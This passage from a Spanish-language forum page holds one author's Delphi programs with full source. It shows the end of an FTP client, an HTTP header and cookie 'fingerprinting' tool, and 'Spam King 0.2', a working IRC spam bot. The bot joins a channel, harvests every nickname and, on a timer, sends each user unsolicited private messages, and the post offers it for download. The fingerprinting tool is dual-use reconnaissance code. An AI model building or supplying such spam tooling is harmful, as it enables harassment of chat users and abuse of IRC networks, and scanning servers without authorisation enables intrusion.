  124.  
  125.  listate2 := sListView2.Items.Add;
  126.  
  127.  IdFTP1.ChangeDir(dirnownow2);
  128.  IdFTP1.List('*.*', True);
  129.  
  130.  for i := 0 to IdFTP1.DirectoryListing.Count - 1 do
  131.  begin
  132.  
  133.    Item := IdFTP1.DirectoryListing.Items[i];
  134.    if Item.ItemType = ditFile then
  135.    begin
  136.      sListbox1.Items.Add(IdFTP1.DirectoryListing.Items[i].FileName);
  137.    end
  138.    else
  139.    begin
  140.      sListbox2.Items.Add(IdFTP1.DirectoryListing.Items[i].FileName);
  141.    end;
  142.  
  143.  end;
  144.  
  145.  sListView2.Items.Clear;
  146.  
  147.  for i := 0 to sListbox2.Count - 1 do
  148.  begin
  149.  
  150.    with sListView2 do
  151.  
  152.    begin
  153.  
  154.      listate2 := sListView2.Items.Add;
  155.      listate2.Caption := sListbox2.Items[i];
  156.      listate2.SubItems.Add('Directory');
  157.      listate2.ImageIndex := 0;
  158.  
  159.    end;
  160.  end;
  161.  
  162.  for i := 0 to sListbox1.Count - 1 do
  163.  begin
  164.  
  165.    with sListView2 do
  166.  
  167.    begin
  168.  
  169.      listate2 := sListView2.Items.Add;
  170.      listate2.Caption := sListbox1.Items[i];
  171.      listate2.SubItems.Add('File');
  172.      listate2.ImageIndex := 1;
  173.  
  174.    end;
  175.  end;
  176.  
  177. end;
  178.  
  179. procedure listar(dirnownow: string; sListView1: TsListView;
  180.  ImageList1: TImageList);
  181. var
  182.  buscar: TSearchRec;
  183.  Icon: TIcon;
  184.  listate: TListItem;
  185.  getdata: SHFILEINFO;
  186.  dirnow: string;
  187.  
  188. begin
  189.  
  190.  dirnow := StringReplace(dirnownow, '/', '\', [rfReplaceAll, rfIgnoreCase]);
  191.  
  192.  sListView1.Items.Clear;
  193.  Icon := TIcon.Create;
  194.  sListView1.Items.BeginUpdate;
  195.  
  196.  if FindFirst(dirnow + '*.*', faAnyFile, buscar) = 0 then
  197.  begin
  198.    repeat
  199.      if (buscar.Attr = faDirectory) then
  200.      begin
  201.  
  202.        with sListView1 do
  203.        begin
  204.  
  205.          if not(buscar.Name = '.') and not(buscar.Name = '..') then
  206.          begin
  207.  
  208.            listate := sListView1.Items.Add;
  209.  
  210.            SHGetFileInfo(PChar(dirnow + buscar.Name), 0, getdata, SizeOf
  211.                (getdata), SHGFI_DISPLAYNAME);
  212.            listate.Caption := getdata.szDisplayName;
  213.  
  214.            SHGetFileInfo(PChar(dirnow + buscar.Name), 0, getdata, SizeOf
  215.                (getdata), SHGFI_TYPENAME);
  216.            listate.SubItems.Add(getdata.szTypeName);
  217.  
  218.            SHGetFileInfo(PChar(dirnow + buscar.Name), 0, getdata, SizeOf
  219.                (getdata), SHGFI_ICON or SHGFI_SMALLICON);
  220.            Icon.Handle := getdata.hIcon;
  221.            listate.ImageIndex := ImageList1.AddIcon(Icon);
  222.  
  223.            DestroyIcon(getdata.hIcon);
  224.  
  225.          end;
  226.        end;
  227.  
  228.      end;
  229.    until FindNext(buscar) <> 0;
  230.    FindClose(buscar);
  231.  end;
  232.  
  233.  if FindFirst(dirnow + '*.*', faAnyFile, buscar) = 0 then
  234.  begin
  235.    repeat
  236.      if (buscar.Attr <> faDirectory) then
  237.      begin
  238.  
  239.        with sListView1 do
  240.        begin
  241.  
  242.          listate := sListView1.Items.Add;
  243.  
  244.          SHGetFileInfo(PChar(dirnow + buscar.Name), 0, getdata, SizeOf(getdata)
  245.              , SHGFI_DISPLAYNAME);
  246.          listate.Caption := buscar.Name;
  247.  
  248.          SHGetFileInfo(PChar(dirnow + buscar.Name), 0, getdata, SizeOf(getdata)
  249.              , SHGFI_TYPENAME);
  250.          listate.SubItems.Add(getdata.szTypeName);
  251.  
  252.          SHGetFileInfo(PChar(dirnow + buscar.Name), 0, getdata, SizeOf(getdata)
  253.              , SHGFI_ICON or SHGFI_SMALLICON);
  254.          Icon.Handle := getdata.hIcon;
  255.          listate.ImageIndex := ImageList1.AddIcon(Icon);
  256.  
  257.          DestroyIcon(getdata.hIcon);
  258.  
  259.        end;
  260.  
  261.      end
  262.  
  263.      until FindNext(buscar) <> 0;
  264.      FindClose(buscar);
  265.    end;
  266.  
  267.    sListView1.Items.EndUpdate;
  268.  
  269.  end;
  270.  
  271.  procedure TForm1.FormCreate(Sender: TObject);
  272.  begin
  273.    sProgressBar1.Max := 0;
  274.  
  275.    sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName)
  276.      + 'Data';
  277.    sSkinManager1.SkinName := 'matrix';
  278.    sSkinManager1.Active := True;
  279.  
  280.  end;
  281.  
  282.  procedure TForm1.A1Click(Sender: TObject);
  283.  begin
  284.    ShowMessage('Contact to lepuke[at]hotmail[com]');
  285.  end;
  286.  
  287.  procedure TForm1.C1Click(Sender: TObject);
  288.  var
  289.    newdir: string;
  290.  begin
  291.  
  292.    newdir := InputBox('Write the name', 'Directory : ', 'test');
  293.  
  294.    try
  295.      begin
  296.        IdFTP1.ChangeDir(sEdit5.Text);
  297.        IdFTP1.MakeDir(newdir);
  298.        ShowMessage('Directory created');
  299.      end
  300.    except
  301.      begin
  302.        ShowMessage('Error');
  303.      end;
  304.    end;
  305.  
  306.  end;
  307.  
  308.  procedure TForm1.D1Click(Sender: TObject);
  309.  begin
  310.  
  311.    try
  312.      begin
  313.        RmDir(sEdit1.Text + sListView1.Selected.Caption);
  314.        ShowMessage('Directory Deleted');
  315.      end;
  316.    except
  317.      begin
  318.        ShowMessage('Error');
  319.      end;
  320.  
  321.    end;
  322.  
  323.  end;
  324.  
  325.  procedure TForm1.D2Click(Sender: TObject);
  326.  begin
  327.  
  328.    if DeleteFile(sEdit1.Text + sListView1.Selected.Caption) then
  329.    begin
  330.      ShowMessage('File Deleted');
  331.    end
  332.    else
  333.    begin
  334.      ShowMessage('Error');
  335.    end;
  336.  
  337.  end;
  338.  
  339.  procedure TForm1.IdFTP1Connected(Sender: TObject);
  340.  begin
  341.    sStatusBar1.Panels[0].Text := '[+] OnLine';
  342.    Form1.sStatusBar1.Update;
  343.  end;
  344.  
  345.  procedure TForm1.IdFTP1Disconnected(Sender: TObject);
  346.  begin
  347.    sStatusBar1.Panels[0].Text := '[+] OffLine';
  348.    Form1.sStatusBar1.Update;
  349.  end;
  350.  
  351.  procedure TForm1.IdFTP1Work(ASender: TObject; AWorkMode: TWorkMode;
  352.    AWorkCount: Int64);
  353.  begin
  354.  
  355.    sStatusBar1.Panels[0].Text := '[+] Working ...';
  356.    Form1.sStatusBar1.Update;
  357.  
  358.    sProgressBar1.Position := AWorkCount div 1024;
  359.  end;
  360.  
  361.  procedure TForm1.IdFTP1WorkBegin(ASender: TObject; AWorkMode: TWorkMode;
  362.    AWorkCountMax: Int64);
  363.  begin
  364.  
  365.    sStatusBar1.Panels[0].Text := '[+] Working ..';
  366.    Form1.sStatusBar1.Update;
  367.  
  368.  end;
  369.  
  370.  procedure TForm1.IdFTP1WorkEnd(ASender: TObject; AWorkMode: TWorkMode);
  371.  begin
  372.    sStatusBar1.Panels[0].Text := '[+] Finished';
  373.    Form1.sStatusBar1.Update;
  374.    sProgressBar1.Max := 0;
  375.  end;
  376.  
  377.  procedure TForm1.M1Click(Sender: TObject);
  378.  var
  379.    nombrecarpeta: string;
  380.  begin
  381.  
  382.    chdir(sEdit1.Text);
  383.    nombrecarpeta := InputBox('Write the name', 'Directory : ', 'test');
  384.    try
  385.      begin
  386.        MkDir(nombrecarpeta);
  387.        ShowMessage('Folder Created');
  388.      end;
  389.    except
  390.      begin
  391.        ShowMessage('Error');
  392.      end;
  393.  
  394.    end;
  395.  
  396.  end;
  397.  
  398.  procedure TForm1.R1Click(Sender: TObject);
  399.  var
  400.    nuevonombre: string;
  401.  begin
  402.    nuevonombre := InputBox('Write the name', 'New name : ', 'testar');
  403.  
  404.    chdir(sEdit1.Text);
  405.    if RenameFile(sListView1.Selected.Caption, nuevonombre) then
  406.    begin
  407.      ShowMessage('Ok');
  408.    end
  409.    else
  410.    begin
  411.      ShowMessage('Error');
  412.    end;
  413.  end;
  414.  
  415.  procedure TForm1.R2Click(Sender: TObject);
  416.  begin
  417.    listar(sEdit1.Text, sListView1, ImageList1);
  418.  end;
  419.  
  420.  procedure TForm1.R3Click(Sender: TObject);
  421.  var
  422.    newname: string;
  423.  begin
  424.  
  425.    newname := InputBox('Write the name', 'New name : ', 'testar');
  426.  
  427.    try
  428.      begin
  429.        IdFTP1.ChangeDir(sEdit5.Text);
  430.        IdFTP1.Rename(sListView2.Selected.Caption, newname);
  431.        ShowMessage('File rename');
  432.      end;
  433.    except
  434.      begin
  435.        ShowMessage('Error');
  436.      end;
  437.    end;
  438.  end;
  439.  
  440.  procedure TForm1.R4Click(Sender: TObject);
  441.  begin
  442.    listarftp(sEdit5.Text, sListView2, IdFTP1, ListBox1, ListBox2, ImageList2);
  443.  end;
  444.  
  445.  procedure TForm1.sButton1Click(Sender: TObject);
  446.  begin
  447.    listar(sEdit1.Text, sListView1, ImageList1);
  448.  end;
  449.  
  450.  procedure TForm1.sButton2Click(Sender: TObject);
  451.  begin
  452.  
  453.    sListView1.Items.Clear;
  454.    sListView2.Items.Clear;
  455.  
  456.    ListBox1.Clear;
  457.    ListBox2.Clear;
  458.  
  459.    if (sButton2.Caption = 'Disconnect') then
  460.    begin
  461.      IdFTP1.Disconnect;
  462.      sButton2.Caption := 'Connect';
  463.    end
  464.    else
  465.    begin
  466.  
  467.      IdFTP1.Host := sEdit2.Text;
  468.      IdFTP1.Username := sEdit3.Text;
  469.      IdFTP1.Password := sEdit4.Text;
  470.  
  471.      try
  472.        IdFTP1.Connect;
  473.        sButton2.Caption := 'Disconnect';
  474.      except
  475.        sStatusBar1.Panels[0].Text := '[-] Error';
  476.        Form1.sStatusBar1.Update;
  477.      end;
  478.    end;
  479.  end;
  480.  
  481.  procedure TForm1.sButton3Click(Sender: TObject);
  482.  begin
  483.    listarftp(sEdit5.Text, sListView2, IdFTP1, ListBox1, ListBox2, ImageList2);
  484.  end;
  485.  
  486.  procedure TForm1.sButton4Click(Sender: TObject);
  487.  var
  488.    fileabajar: string;
  489.  begin
  490.  
  491.    fileabajar := sListView2.Selected.Caption; ;
  492.    IdFTP1.OnWork := IdFTP1Work;
  493.    IdFTP1.ChangeDir(sEdit5.Text);
  494.  
  495.    sProgressBar1.Max := IdFTP1.Size(ExtractFileName(fileabajar)) div 1024;
  496.  
  497.    IdFTP1.Get(fileabajar, sEdit1.Text + '/' + fileabajar, False, False);
  498.  
  499.  end;
  500.  
  501.  procedure TForm1.sButton5Click(Sender: TObject);
  502.  var
  503.    fileasubir: string;
  504.    dirasubir: string;
  505.    cantidad: File of byte;
  506.  begin
  507.  
  508.    fileasubir := sEdit1.Text + sListView1.Selected.Caption;
  509.    dirasubir := sEdit5.Text;
  510.  
  511.    IdFTP1.OnWork := IdFTP1Work;
  512.  
  513.    AssignFile(cantidad, fileasubir);
  514.    Reset(cantidad);
  515.    sProgressBar1.Max := FileSize(cantidad) div 1024;
  516.    CloseFile(cantidad);
  517.  
  518.    IdFTP1.ChangeDir(dirasubir);
  519.    IdFTP1.Put(fileasubir, sListView1.Selected.Caption, False);
  520.  
  521.  end;
  522.  
  523.  procedure TForm1.sListView1DblClick(Sender: TObject);
  524.  var
  525.    dir: string;
  526.  begin
  527.  
  528.    dir := sEdit1.Text + sListView1.Selected.Caption + '/';
  529.    if (DirectoryExists(dir)) then
  530.    begin
  531.      sEdit1.Text := sEdit1.Text + sListView1.Selected.Caption + '/';
  532.      listar(dir, sListView1, ImageList1);
  533.    end;
  534.  end;
  535.  
  536.  procedure TForm1.sListView2DblClick(Sender: TObject);
  537.  var
  538.    dir: string;
  539.  begin
  540.    dir := sEdit5.Text + sListView2.Selected.Caption + '/';
  541.    sEdit5.Text := sEdit5.Text + sListView2.Selected.Caption + '/';
  542.    listarftp(dir, sListView2, IdFTP1, ListBox1, ListBox2, ImageList2);
  543.  end;
  544.  
  545.  procedure TForm1.D3Click(Sender: TObject);
  546.  begin
  547.    try
  548.      begin
  549.        IdFTP1.ChangeDir(sEdit5.Text);
  550.        IdFTP1.Delete(sListView2.Selected.Caption);
  551.        ShowMessage('File Deleted');
  552.      end;
  553.    except
  554.      begin
  555.        ShowMessage('Error');
  556.      end;
  557.    end;
  558.  end;
  559.  
  560.  procedure TForm1.D4Click(Sender: TObject);
  561.  begin
  562.  
  563.    try
  564.      begin
  565.        IdFTP1.ChangeDir(sEdit5.Text);
  566.        IdFTP1.RemoveDir(sListView2.Selected.Caption);
  567.        ShowMessage('Directory Deleted');
  568.      end
  569.    except
  570.      ShowMessage('Error');
  571.    end;
  572.  
  573.  end;
  574.  
  575.  procedure TForm1.D5Click(Sender: TObject);
  576.  begin
  577.    IdFTP1.Disconnect;
  578.  end;
  579.  
  580.  procedure TForm1.E1Click(Sender: TObject);
  581.  begin
  582.    Form1.Close();
  583.  end;
  584.  
  585. end.
  586.  
  587. // The End ?
  588.  

Si lo quieren bajar lo pueden hacer de aca
219  Programación / Programación General / [Delphi] HTTP FingerPrinting 0.1 en: 22 Junio 2013, 17:19 pm
Un simple HTTP FingerPrinting hecho en Delphi.

Una imagen :



El codigo :

Código
  1. // HTTP FingerPrinting 0.1
  2. // Coded By Doddy H
  3.  
  4. unit http;
  5.  
  6. interface
  7.  
  8. uses
  9.  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  10.  Dialogs, StdCtrls, sMemo, sButton, sEdit, sLabel, sGroupBox, sSkinManager,
  11.  IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdHTTP,
  12.  IdCookieManager, Sockets, ComCtrls, sStatusBar, jpeg, ExtCtrls;
  13.  
  14. type
  15.  TForm1 = class(TForm)
  16.    sSkinManager1: TsSkinManager;
  17.    sGroupBox1: TsGroupBox;
  18.    sEdit1: TsEdit;
  19.    sButton1: TsButton;
  20.    sGroupBox2: TsGroupBox;
  21.    sMemo1: TsMemo;
  22.    IdHTTP1: TIdHTTP;
  23.    sStatusBar1: TsStatusBar;
  24.    Image1: TImage;
  25.    IdCookieManager1: TIdCookieManager;
  26.    procedure sButton1Click(Sender: TObject);
  27.    procedure FormCreate(Sender: TObject);
  28.  
  29.  private
  30.    { Private declarations }
  31.  public
  32.    { Public declarations }
  33.  end;
  34.  
  35. var
  36.  Form1: TForm1;
  37.  
  38. implementation
  39.  
  40. {$R *.dfm}
  41.  
  42. procedure TForm1.FormCreate(Sender: TObject);
  43. begin
  44.  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  45.  sSkinManager1.SkinName := 'cappuccino';
  46.  sSkinManager1.Active := True;
  47. end;
  48.  
  49. procedure TForm1.sButton1Click(Sender: TObject);
  50. var
  51.  i: integer;
  52.  
  53. begin
  54.  
  55.  sStatusBar1.Panels[0].text := '[+] Working ...';
  56.  Form1.sStatusBar1.Update;
  57.  
  58.  sMemo1.Clear;
  59.  
  60.  try
  61.  
  62.    IdHTTP1.Get(sEdit1.text);
  63.  
  64.    sMemo1.Lines.Add('[+] ' + IdHTTP1.Response.ResponseText);
  65.    sMemo1.Lines.Add('[+] Date : ' + DateTimeToStr(IdHTTP1.Response.Date));
  66.    sMemo1.Lines.Add('[+] Server : ' + IdHTTP1.Response.Server);
  67.    sMemo1.Lines.Add('[+] Last-Modified : ' + DateTimeToStr
  68.        (IdHTTP1.Response.LastModified));
  69.    sMemo1.Lines.Add('[+] ETag: ' + IdHTTP1.Response.ETag);
  70.    sMemo1.Lines.Add('[+] Accept-Ranges : ' + IdHTTP1.Response.AcceptRanges);
  71.    sMemo1.Lines.Add('[+] Content-Length : ' + IntToStr
  72.        (IdHTTP1.Response.ContentLength));
  73.    sMemo1.Lines.Add('[+] Connection : ' + IdHTTP1.Response.Connection);
  74.    sMemo1.Lines.Add('[+] Content-Type : ' + IdHTTP1.Response.ContentType);
  75.  
  76.    for i := 1 to IdCookieManager1.CookieCollection.count do
  77.    begin
  78.      sMemo1.Lines.Add('[+] Cookie : ' + IdCookieManager1.CookieCollection.Items
  79.          [i - 1].CookieText);
  80.    end;
  81.  
  82.    sStatusBar1.Panels[0].text := '[+] Done';
  83.    Form1.sStatusBar1.Update;
  84.  
  85.  except
  86.    sStatusBar1.Panels[0].text := '[-] Error';
  87.    Form1.sStatusBar1.Update;
  88.  
  89.  end;
  90.  
  91. end;
  92.  
  93. end.
  94.  
  95. // The End ?
  96.  

Si lo quieren bajar lo pueden hacer de aca
220  Programación / Programación General / [Delphi] Spam King 0.2 en: 14 Junio 2013, 19:04 pm
Un simple programa para spammear en un canal IRC , solo ponen los mensajes a enviar y el programa cada cierto tiempo marcado por ustedes mandara mensajes privados a cada persona en ese canal marcado.

Una imagen :



El codigo

Código
  1. // Spam King 0.2
  2. // Coded By Doddy H
  3.  
  4. unit irc;
  5.  
  6. interface
  7.  
  8. uses
  9.  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  10.  Dialogs, StdCtrls, sButton, sSkinManager, ExtCtrls, IdBaseComponent,
  11.  IdComponent, IdTCPConnection, IdTCPClient, IdHTTP, IdContext, IdCmdTCPClient,
  12.  IdIRC, sMemo, sGroupBox, sLabel, sEdit, ComCtrls, sStatusBar, sListBox,
  13.  PerlRegEx, jpeg, acPNG;
  14.  
  15. type
  16.  TForm1 = class(TForm)
  17.    sSkinManager1: TsSkinManager;
  18.    Timer1: TTimer;
  19.    IdIRC1: TIdIRC;
  20.    sGroupBox1: TsGroupBox;
  21.    sLabel2: TsLabel;
  22.    sEdit1: TsEdit;
  23.    sEdit2: TsEdit;
  24.    sLabel3: TsLabel;
  25.    sEdit3: TsEdit;
  26.    sLabel4: TsLabel;
  27.    sEdit4: TsEdit;
  28.    sStatusBar1: TsStatusBar;
  29.    sGroupBox2: TsGroupBox;
  30.    sListBox1: TsListBox;
  31.    sLabel5: TsLabel;
  32.    sEdit5: TsEdit;
  33.    sButton2: TsButton;
  34.    sGroupBox3: TsGroupBox;
  35.    sListBox2: TsListBox;
  36.    sButton1: TsButton;
  37.    sLabel6: TsLabel;
  38.    sEdit6: TsEdit;
  39.    sButton3: TsButton;
  40.    sGroupBox4: TsGroupBox;
  41.    sMemo1: TsMemo;
  42.    PerlRegEx1: TPerlRegEx;
  43.    Console: TsGroupBox;
  44.    sMemo2: TsMemo;
  45.    sLabel1: TsLabel;
  46.    Image1: TImage;
  47.    sLabel7: TsLabel;
  48.    procedure sButton1Click(Sender: TObject);
  49.    procedure Timer1Timer(Sender: TObject);
  50.    procedure IdIRC1PrivateMessage(ASender: TIdContext; const ANicknameFrom,
  51.      AHost, ANicknameTo, AMessage: string);
  52.    procedure sButton3Click(Sender: TObject);
  53.    procedure IdIRC1NicknamesListReceived(ASender: TIdContext;
  54.      const AChannel: string; ANicknameList: TStrings);
  55.    procedure sButton2Click(Sender: TObject);
  56.    procedure FormCreate(Sender: TObject);
  57.    procedure IdIRC1Raw(ASender: TIdContext; AIn: Boolean;
  58.      const AMessage: string);
  59.    procedure IdIRC1Disconnected(Sender: TObject);
  60.    procedure IdIRC1Connected(Sender: TObject);
  61.  private
  62.    { Private declarations }
  63.  public
  64.    { Public declarations }
  65.  end;
  66.  
  67. var
  68.  Form1: TForm1;
  69.  
  70. implementation
  71.  
  72. {$R *.dfm}
  73.  
  74. procedure TForm1.FormCreate(Sender: TObject);
  75. begin
  76.  
  77.  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  78.  sSkinManager1.SkinName := 'tv-b';
  79.  sSkinManager1.Active := True;
  80.  
  81. end;
  82.  
  83. procedure TForm1.IdIRC1Connected(Sender: TObject);
  84. begin
  85.  sStatusBar1.Panels[0].text := '[+] Connected ...';
  86.  Form1.sStatusBar1.Update;
  87. end;
  88.  
  89. procedure TForm1.IdIRC1Disconnected(Sender: TObject);
  90. begin
  91.  sStatusBar1.Panels[0].text := '[+] Stopped';
  92.  Form1.sStatusBar1.Update;
  93. end;
  94.  
  95. procedure TForm1.IdIRC1NicknamesListReceived
  96.  (ASender: TIdContext; const AChannel: string; ANicknameList: TStrings);
  97. var
  98.  i: integer;
  99.  i2: integer;
  100.  renicks: string;
  101.  listanow: TStringList;
  102.  arraynow: array of String;
  103.  
  104. begin
  105.  
  106.  sListBox2.Clear;
  107.  
  108.  for i := 0 to ANicknameList.Count - 1 do
  109.  begin
  110.  
  111.    PerlRegEx1.Regex := '(.*) = ' + sEdit3.text + ' :(.*)';
  112.    PerlRegEx1.Subject := ANicknameList[i];
  113.  
  114.    if PerlRegEx1.Match then
  115.    begin
  116.      renicks := PerlRegEx1.SubExpressions[2];
  117.  
  118.      renicks := StringReplace(renicks, sEdit4.text, '', []);
  119.  
  120.      listanow := TStringList.Create;
  121.      listanow.Delimiter := ' ';
  122.      listanow.DelimitedText := renicks;
  123.  
  124.      for i2 := 0 to listanow.Count - 1 do
  125.      begin
  126.        sListBox2.Items.Add(listanow[i2]);
  127.      end;
  128.  
  129.    end;
  130.  
  131.  end;
  132.  
  133. end;
  134.  
  135. procedure TForm1.IdIRC1PrivateMessage(ASender: TIdContext; const ANicknameFrom,
  136.  AHost, ANicknameTo, AMessage: string);
  137. begin
  138.  sMemo1.Lines.Add(ANicknameFrom + ' : ' + AMessage);
  139. end;
  140.  
  141. procedure TForm1.IdIRC1Raw(ASender: TIdContext; AIn: Boolean;
  142.  const AMessage: string);
  143. begin
  144.  sMemo2.Lines.Add(AMessage);
  145. end;
  146.  
  147. procedure TForm1.sButton1Click(Sender: TObject);
  148. begin
  149.  
  150.  sListBox2.Items.Clear;
  151.  sMemo2.Lines.Clear;
  152.  sMemo1.Lines.Clear;
  153.  
  154.  IdIRC1.Host := sEdit1.text;
  155.  IdIRC1.Port := StrToInt(sEdit2.text);
  156.  IdIRC1.Nickname := sEdit4.text;
  157.  IdIRC1.Username := sEdit4.text + ' 1 1 1 1';
  158.  IdIRC1.AltNickname := sEdit4.text + '-123';
  159.  
  160.  try
  161.  
  162.    IdIRC1.Connect;
  163.    IdIRC1.Join(sEdit3.text);
  164.  
  165.    Timer1.Interval := StrToInt(sEdit6.text) * 1000;
  166.    Timer1.Enabled := True;
  167.  
  168.  except
  169.    sStatusBar1.Panels[0].text := '[-] Error';
  170.    Form1.sStatusBar1.Update;
  171.  end;
  172.  
  173. end;
  174.  
  175. procedure TForm1.sButton2Click(Sender: TObject);
  176. begin
  177.  sListBox1.Items.Add(sEdit5.text);
  178. end;
  179.  
  180. procedure TForm1.sButton3Click(Sender: TObject);
  181. begin
  182.  sStatusBar1.Panels[0].text := '[-] Stopped';
  183.  Form1.sStatusBar1.Update;
  184.  IdIRC1.Disconnect();
  185.  Abort;
  186.  
  187. end;
  188.  
  189. procedure TForm1.Timer1Timer(Sender: TObject);
  190. var
  191.  i: integer;
  192. begin
  193.  
  194.  sStatusBar1.Panels[0].text := '[+] Spamming ...';
  195.  Form1.sStatusBar1.Update;
  196.  
  197.  for i := 0 to sListBox2.Count - 1 do
  198.  begin
  199.  
  200.    IdIRC1.Say(sListBox2.Items[i], sListBox1.Items[Random(sListBox1.Count - 1)
  201.        + 0]);
  202.  
  203.  end;
  204.  
  205. end;
  206.  
  207. end.
  208.  
  209. // The End ?
  210.  

Si lo quieren bajar lo pueden hacer de aca
Páginas: 1 ... 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 [22] 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 ... 55
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines